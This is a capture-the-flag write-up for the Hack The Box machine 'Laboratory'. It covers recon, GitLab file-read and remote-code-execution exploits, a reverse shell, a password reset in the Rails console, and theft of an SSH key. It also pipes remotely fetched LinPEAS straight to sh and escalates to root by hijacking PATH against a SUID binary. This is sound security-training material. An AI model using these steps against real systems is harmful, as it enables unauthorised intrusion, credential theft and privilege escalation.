> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/hack-the-box/easy/laboratory.md). # Laboratory ## Recon `nmap -sV -T4 -p- 10.10.10.216` ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu)) Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` Accessing the IP address via HTTP returns a 302 status code, and redirects to `https://laboratory.htb/` ![](/files/-MadnFNZkVRBWiiZ6YER) Add the following line to the `/etc/hosts` file: ``` 10.10.10.216 laboratory.htb ``` Now the page displays properly. ![](/files/-MadnIbiTFGRPjlP9yFj) If we scroll down, we can see that Dexter is listed as the CEO of the company. Looking at the source code: ![](/files/-MadnM_Bt-rNi9xRu-U9) Navlinks commented out. However, `elements.html` and `generic.html` do not exist. `gobuster dir -u https://laboratory.htb/ -w /usr/share/wordlists/dirb/common.txt -k` ``` /.hta (Status: 403) /.htpasswd (Status: 403) /.htaccess (Status: 403) /assets (Status: 301) /images (Status: 301) /index.html (Status: 200) /server-status (Status: 403) ``` When I first ran gobuster without the `-w` flag, I got this error: ``` Error: error on running goubster: unable to connect to https://laboratory.htb/: invalid certificate: x509: certificate is valid for git.laboratory.htb, not laboratory.htb ``` So I added the following to `/etc/hosts`: ``` 10.10.10.216 git.laboratory.htb ``` and accessed `git.laboratory.htb`. ![](/files/-MadnS0vfymeOqo-2hN9) ## Foothold `searchsploit gitlab` ``` --------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- GitLab - 'impersonate' Feature Privilege Escalation | ruby/webapps/40236.txt GitLab 11.4.7 - RCE (Authenticated) | ruby/webapps/49334.py Gitlab 11.4.7 - Remote Code Execution | ruby/webapps/49257.py GitLab 11.4.7 - Remote Code Execution (Authenticated) | ruby/webapps/49263.py GitLab 12.9.0 - Arbitrary File Read | ruby/webapps/48431.txt Gitlab 12.9.0 - Arbitrary File Read (Authenticated) | ruby/webapps/49076.py Gitlab 6.0 - Persistent Cross-Site Scripting | php/webapps/30329.sh Gitlab-shell - Code Execution (Metasploit) | linux/remote/34362.rb Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting | java/webapps/47927.txt NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution | json/webapps/47420.txt --------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- ``` I went ahead and created an account. Note: to overcome the email domain validation, use `@laboratory.htb` for the email domain. ![](/files/-MadnVJTylsiNExeYW-E) ### First Try: Gitlab 12.9.0 - Arbitrary File Read Found an exploit code here: (for Gitlab 12.9.0 - Arbitrary File Read) `python3 gitlab_exploit.py https://git.laboratory.htb me zeyu2001` We can read the `/etc/passwd` file: ![](/files/-MadnYaOWAJzdxJWDI3e) ### Second Try: Gitlab 11.4.7 - Remote Code Execution Didn't work with any of the open-source Python scripts. If this was the actual OSCP, I would have used my Metasploit 'budget' on this machine. ![](/files/-MadngzmCnp7VHC-a2Mk) Using Metasploit with the above options, I was able to spawn a reverse shell. 'Upgrade' the shell: `python3 -c 'import pty;pty.spawn("/bin/bash")'` ## User Flag Now that we gained a shell as the `git` user, we are inside the `gitlab-rails` CLI. In order to gain access to Dexter's account, we need to reset the password, like this: Since Dexter is likely the 'main user', I guessed that his user ID is 1. ![](/files/-Madnk-bgpwLG2q6sZq4) Full commands to reset the password via Rails Console: ``` gitlab-rails console -e production user = User.find(1) user.password = 'mynewpass' user.password_confirmation = 'mynewpass' user.save! exit() ``` Using the `dexter:mynewpass` combination, we can login to the GitLab web GUI. ![](/files/-MadnmdhAph3ToFuJKfp) I then tried to SSH into Dexter's account, but a public/private key pair is required. From the SecureDocker repo, we can navigate to `securedocker/dexter/.ssh/id_rsa` to get the private key. Save this in a file `id_rsa` on the attacking machine. Note that the public key for this privste key is in the `securedocker/dexter/.ssh/authorized_keys` file. ![](/files/-Madnq-pjNPon8lqnGvN) SSH in: `ssh -i id_rsa dexter@git.laboratory.htb`. We can now get the `user.txt`: ![](/files/-MadntL68Slu3BX5ykPO) ## Root Flag Run LinPEAS (start Python Simple HTTP Server on attacking machine, then do `curl "http://10.10.14.16/linpeas.sh" | sh` in SSH) ### Try 1: containerd / runc ![](/files/-MadnwjcxADFyhI5py-B) Sadly, neither worked. ### Try 2: SUID Files In the list of SUID files (from the LinPEAS output), the `/usr/local/bin/docker-security` binary looked out of place. ![](/files/-MadnzaucSpBj7mjp2fc) Strings wasn't installed on the target machine, so I downloaded the binary into my Kali machine: `scp -i id_rsa dexter@laboratory.htb:/usr/local/bin/docker-security .` ### PATH Variable Manipulation `strings docker-security` ![](/files/-Mado1tPzUIYVRAcrwFF) Good, the binary uses *relative* paths for `setuid`, etc. This allows us to create our own `setuid` binary, and manipuate the PATH variable so that our own binary is executed instead. #### Standard Steps * Change working directory to `/tmp`: `cd /tmp` * Copy the `/bin/sh` shell and call it `setuid`: `echo /bin/sh > setuid` * Give the correct permissions: `chmod 777 setuid` * Put its location, the `/tmp` directory, in the PATH: `export PATH=/tmp:$PATH` ```bash dexter@laboratory:~$ cd /tmp dexter@laboratory:/tmp$ echo /bin/sh > setuid dexter@laboratory:/tmp$ chmod 777 setuid dexter@laboratory:/tmp$ export PATH=/tmp:$PATH dexter@laboratory:/tmp$ /usr/local/bin/docker-security ``` Since the SUID flag is set, the `/bin/sh` is run as `root`, which is the *owner* of the file. Here, we created a fake `setuid` binary and added the `/tmp` directory to the PATH. When the `docker-security` binary runs `setuid`, our fake binary is run, spawning a bash shell as root. ### Getting the Root Flag ![](/files/-Mado7vcNVEJf3wgKqds)